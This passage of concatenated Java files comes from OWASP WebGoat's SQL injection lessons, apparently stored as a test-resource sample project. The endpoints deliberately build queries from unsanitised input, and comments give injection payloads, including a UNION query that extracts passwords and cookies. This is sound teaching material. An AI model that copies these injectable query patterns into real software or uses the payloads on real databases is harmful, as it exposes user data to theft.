userid = ? and password = ?"); statement.setString(1, username_login); statement.setString(2, password_login); var resultSet = statement.executeQuery(); if (resultSet.next()) { return ("tom".equals(username_login)) ? success(this).build() : failed(this).feedback("ResultsButNotTom").build(); } else { return failed(this).feedback("NoResultsMatched").build(); } } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.advanced; import java.sql.*; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.sqlinjection.introduction.SqlInjectionLesson5a; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlStringInjectionHint-advanced-6a-1", "SqlStringInjectionHint-advanced-6a-2", "SqlStringInjectionHint-advanced-6a-3", "SqlStringInjectionHint-advanced-6a-4", "SqlStringInjectionHint-advanced-6a-5" }) public class SqlInjectionLesson6a extends AssignmentEndpoint { private final LessonDataSource dataSource; private static final String YOUR_QUERY_WAS = "
Your query was: "; public SqlInjectionLesson6a(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjectionAdvanced/attack6a") @ResponseBody public AttackResult completed(@RequestParam(value = "userid_6a") String userId) { return injectableQuery(userId); // The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from // user_system_data -- } public AttackResult injectableQuery(String accountName) { String query = ""; try (Connection connection = dataSource.getConnection()) { boolean usedUnion = true; query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'"; // Check if Union is used if (!accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)")) { usedUnion = false; } try (Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY)) { ResultSet results = statement.executeQuery(query); if ((results != null) && results.first()) { ResultSetMetaData resultsMetaData = results.getMetaData(); StringBuilder output = new StringBuilder(); output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData)); String appendingWhenSucceded; if (usedUnion) appendingWhenSucceded = "Well done! Can you also figure out a solution, by appending a new SQL Statement?"; else appendingWhenSucceded = "Well done! Can you also figure out a solution, by using a UNION?"; results.last(); if (output.toString().contains("dave") && output.toString().contains("passW0rD")) { output.append(appendingWhenSucceded); return success(this) .feedback("sql-injection.advanced.6a.success") .feedbackArgs(output.toString()) .output(" Your query was: " + query) .build(); } else { return failed(this).output(output.toString() + YOUR_QUERY_WAS + query).build(); } } else { return failed(this) .feedback("sql-injection.advanced.6a.no.results") .output(YOUR_QUERY_WAS + query) .build(); } } catch (SQLException sqle) { return failed(this).output(sqle.getMessage() + YOUR_QUERY_WAS + query).build(); } } catch (Exception e) { return failed(this) .output(this.getClass().getName() + " : " + e.getMessage() + YOUR_QUERY_WAS + query) .build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.advanced; import java.io.IOException; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class SqlInjectionLesson6b extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson6b(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjectionAdvanced/attack6b") @ResponseBody public AttackResult completed(@RequestParam String userid_6b) throws IOException { if (userid_6b.equals(getPassword())) { return success(this).build(); } else { return failed(this).build(); } } protected String getPassword() { String password = "dave"; try (Connection connection = dataSource.getConnection()) { String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'"; try { Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet results = statement.executeQuery(query); if (results != null && results.first()) { password = results.getString("password"); } } catch (SQLException sqle) { sqle.printStackTrace(); // do nothing } } catch (Exception e) { e.printStackTrace(); // do nothing } return (password); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.advanced; import java.io.IOException; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * add a question: 1. Append new question to JSON string 2. add right solution to solutions array 3. * add Request param with name of question to method head For a more detailed description how to * implement the quiz go to the quiz.js file in webgoat-container -> js */ @RestController public class SqlInjectionQuiz extends AssignmentEndpoint { String[] solutions = {"Solution 4", "Solution 3", "Solution 2", "Solution 3", "Solution 4"}; boolean[] guesses = new boolean[solutions.length]; @PostMapping("/SqlInjectionAdvanced/quiz") @ResponseBody public AttackResult completed( @RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution, @RequestParam String[] question_2_solution, @RequestParam String[] question_3_solution, @RequestParam String[] question_4_solution) throws IOException { int correctAnswers = 0; String[] givenAnswers = { question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0], question_4_solution[0] }; for (int i = 0; i < solutions.length; i++) { if (givenAnswers[i].contains(solutions[i])) { // answer correct correctAnswers++; guesses[i] = true; } else { // answer incorrect guesses[i] = false; } } if (correctAnswers == solutions.length) { return success(this).build(); } else { return failed(this).build(); } } @GetMapping("/SqlInjectionAdvanced/quiz") @ResponseBody public boolean[] getResults() { return this.guesses; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class SqlInjection extends Lesson { @Override public Category getDefaultCategory() { return Category.A3; } @Override public String getTitle() { return "1.sql.injection.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlStringInjectionHint.10.1", "SqlStringInjectionHint.10.2", "SqlStringInjectionHint.10.3", "SqlStringInjectionHint.10.4", "SqlStringInjectionHint.10.5", "SqlStringInjectionHint.10.6" }) public class SqlInjectionLesson10 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson10(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjection/attack10") @ResponseBody public AttackResult completed(@RequestParam String action_string) { return injectableQueryAvailability(action_string); } protected AttackResult injectableQueryAvailability(String action) { StringBuilder output = new StringBuilder(); String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'"; try (Connection connection = dataSource.getConnection()) { try { Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet results = statement.executeQuery(query); if (results.getStatement() != null) { results.first(); output.append(SqlInjectionLesson8.generateTable(results)); return failed(this) .feedback("sql-injection.10.entries") .output(output.toString()) .build(); } else { if (tableExists(connection)) { return failed(this) .feedback("sql-injection.10.entries") .output(output.toString()) .build(); } else { return success(this).feedback("sql-injection.10.success").build(); } } } catch (SQLException e) { if (tableExists(connection)) { return failed(this) .output( "
" + output.toString()) .build(); } else { return success(this).feedback("sql-injection.10.success").build(); } } } catch (Exception e) { return failed(this) .output("") .build(); } } private boolean tableExists(Connection connection) { try { Statement stmt = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet results = stmt.executeQuery("SELECT * FROM access_log"); int cols = results.getMetaData().getColumnCount(); return (cols > 0); } catch (SQLException e) { String errorMsg = e.getMessage(); if (errorMsg.contains("object not found: ACCESS_LOG")) { return false; } else { System.err.println(e.getMessage()); return false; } } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import static java.sql.ResultSet.CONCUR_READ_ONLY; import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlStringInjectionHint2-1", "SqlStringInjectionHint2-2", "SqlStringInjectionHint2-3", "SqlStringInjectionHint2-4" }) public class SqlInjectionLesson2 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson2(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjection/attack2") @ResponseBody public AttackResult completed(@RequestParam String query) { return injectableQuery(query); } protected AttackResult injectableQuery(String query) { try (var connection = dataSource.getConnection()) { Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY); ResultSet results = statement.executeQuery(query); StringBuilder output = new StringBuilder(); results.first(); if (results.getString("department").equals("Marketing")) { output.append(""); output.append(SqlInjectionLesson8.generateTable(results)); return success(this).feedback("sql-injection.2.success").output(output.toString()).build(); } else { return failed(this).feedback("sql-injection.2.failed").output(output.toString()).build(); } } catch (SQLException sqle) { return failed(this).feedback("sql-injection.2.failed").output(sqle.getMessage()).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import static java.sql.ResultSet.CONCUR_READ_ONLY; import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints(value = {"SqlStringInjectionHint3-1", "SqlStringInjectionHint3-2"}) public class SqlInjectionLesson3 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson3(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjection/attack3") @ResponseBody public AttackResult completed(@RequestParam String query) { return injectableQuery(query); } protected AttackResult injectableQuery(String query) { try (Connection connection = dataSource.getConnection()) { try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) { Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY); statement.executeUpdate(query); ResultSet results = checkStatement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';"); StringBuilder output = new StringBuilder(); // user completes lesson if the department of Tobi Barnett now is 'Sales' results.first(); if (results.getString("department").equals("Sales")) { output.append(""); output.append(SqlInjectionLesson8.generateTable(results)); return success(this).output(output.toString()).build(); } else { return failed(this).output(output.toString()).build(); } } catch (SQLException sqle) { return failed(this).output(sqle.getMessage()).build(); } } catch (Exception e) { return failed(this).output(this.getClass().getName() + " : " + e.getMessage()).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import static java.sql.ResultSet.CONCUR_READ_ONLY; import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = {"SqlStringInjectionHint4-1", "SqlStringInjectionHint4-2", "SqlStringInjectionHint4-3"}) public class SqlInjectionLesson4 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson4(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjection/attack4") @ResponseBody public AttackResult completed(@RequestParam String query) { return injectableQuery(query); } protected AttackResult injectableQuery(String query) { try (Connection connection = dataSource.getConnection()) { try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) { statement.executeUpdate(query); connection.commit(); ResultSet results = statement.executeQuery("SELECT phone from employees;"); StringBuilder output = new StringBuilder(); // user completes lesson if column phone exists if (results.first()) { output.append(""); return success(this).output(output.toString()).build(); } else { return failed(this).output(output.toString()).build(); } } catch (SQLException sqle) { return failed(this).output(sqle.getMessage()).build(); } } catch (Exception e) { return failed(this).output(this.getClass().getName() + " : " + e.getMessage()).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import javax.annotation.PostConstruct; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlStringInjectionHint5-1", "SqlStringInjectionHint5-2", "SqlStringInjectionHint5-3", "SqlStringInjectionHint5-4" }) public class SqlInjectionLesson5 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson5(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostConstruct public void createUser() { // HSQLDB does not support CREATE USER with IF NOT EXISTS so we need to do it in code (using // DROP first will throw error if user does not exists) try (Connection connection = dataSource.getConnection()) { try (var statement = connection.prepareStatement("CREATE USER unauthorized_user PASSWORD test")) { statement.execute(); } } catch (Exception e) { // user already exists continue } } @PostMapping("/SqlInjection/attack5") @ResponseBody public AttackResult completed(String query) { createUser(); return injectableQuery(query); } protected AttackResult injectableQuery(String query) { try (Connection connection = dataSource.getConnection()) { try (Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { statement.executeQuery(query); if (checkSolution(connection)) { return success(this).build(); } return failed(this).output("Your query was: " + query).build(); } } catch (Exception e) { return failed(this) .output( this.getClass().getName() + " : " + e.getMessage() + "
Your query was: " + query) .build(); } } private boolean checkSolution(Connection connection) { try { var stmt = connection.prepareStatement( "SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE =" + " ?"); stmt.setString(1, "GRANT_RIGHTS"); stmt.setString(2, "UNAUTHORIZED_USER"); var resultSet = stmt.executeQuery(); return resultSet.next(); } catch (SQLException throwables) { return false; } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import java.sql.*; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints(value = {"SqlStringInjectionHint5a1"}) public class SqlInjectionLesson5a extends AssignmentEndpoint { private static final String EXPLANATION = "
Explanation: This injection works, because or '1' =" + " '1' always evaluates to true (The string ending literal for '1 is closed by" + " the query itself, so you should not inject it). So the injected query basically looks" + " like this: SELECT * FROM user_data WHERE" + " first_name = 'John' and last_name = '' or TRUE, which will always evaluate to" + " true, no matter what came before it."; private final LessonDataSource dataSource; public SqlInjectionLesson5a(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjection/assignment5a") @ResponseBody public AttackResult completed( @RequestParam String account, @RequestParam String operator, @RequestParam String injection) { return injectableQuery(account + " " + operator + " " + injection); } protected AttackResult injectableQuery(String accountName) { String query = ""; try (Connection connection = dataSource.getConnection()) { query = "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'"; try (Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { ResultSet results = statement.executeQuery(query); if ((results != null) && (results.first())) { ResultSetMetaData resultsMetaData = results.getMetaData(); StringBuilder output = new StringBuilder(); output.append(writeTable(results, resultsMetaData)); results.last(); // If they get back more than one user they succeeded if (results.getRow() >= 6) { return success(this) .feedback("sql-injection.5a.success") .output("Your query was: " + query + EXPLANATION) .feedbackArgs(output.toString()) .build(); } else { return failed(this).output(output.toString() + "
Your query was: " + query).build(); } } else { return failed(this) .feedback("sql-injection.5a.no.results") .output("Your query was: " + query) .build(); } } catch (SQLException sqle) { return failed(this).output(sqle.getMessage() + "
Your query was: " + query).build(); } } catch (Exception e) { return failed(this) .output( this.getClass().getName() + " : " + e.getMessage() + "
Your query was: " + query) .build(); } } public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws SQLException { int numColumns = resultsMetaData.getColumnCount(); results.beforeFirst(); StringBuilder t = new StringBuilder(); t.append("

"); if (results.next()) { for (int i = 1; i < (numColumns + 1); i++) { t.append(resultsMetaData.getColumnName(i)); t.append(", "); } t.append("
"); results.beforeFirst(); while (results.next()) { for (int i = 1; i < (numColumns + 1); i++) { t.append(results.getString(i)); t.append(", "); } t.append("
"); } } else { t.append("Query Successful; however no data was returned from this query."); } t.append("

"); return (t.toString()); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import java.io.IOException; import java.sql.*; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlStringInjectionHint5b1", "SqlStringInjectionHint5b2", "SqlStringInjectionHint5b3", "SqlStringInjectionHint5b4" }) public class SqlInjectionLesson5b extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson5b(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjection/assignment5b") @ResponseBody public AttackResult completed( @RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) throws IOException { return injectableQuery(login_count, userid); } protected AttackResult injectableQuery(String login_count, String accountName) { String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName; try (Connection connection = dataSource.getConnection()) { PreparedStatement query = connection.prepareStatement( queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); int count = 0; try { count = Integer.parseInt(login_count); } catch (Exception e) { return failed(this) .output( "Could not parse: " + login_count + " to a number" + "
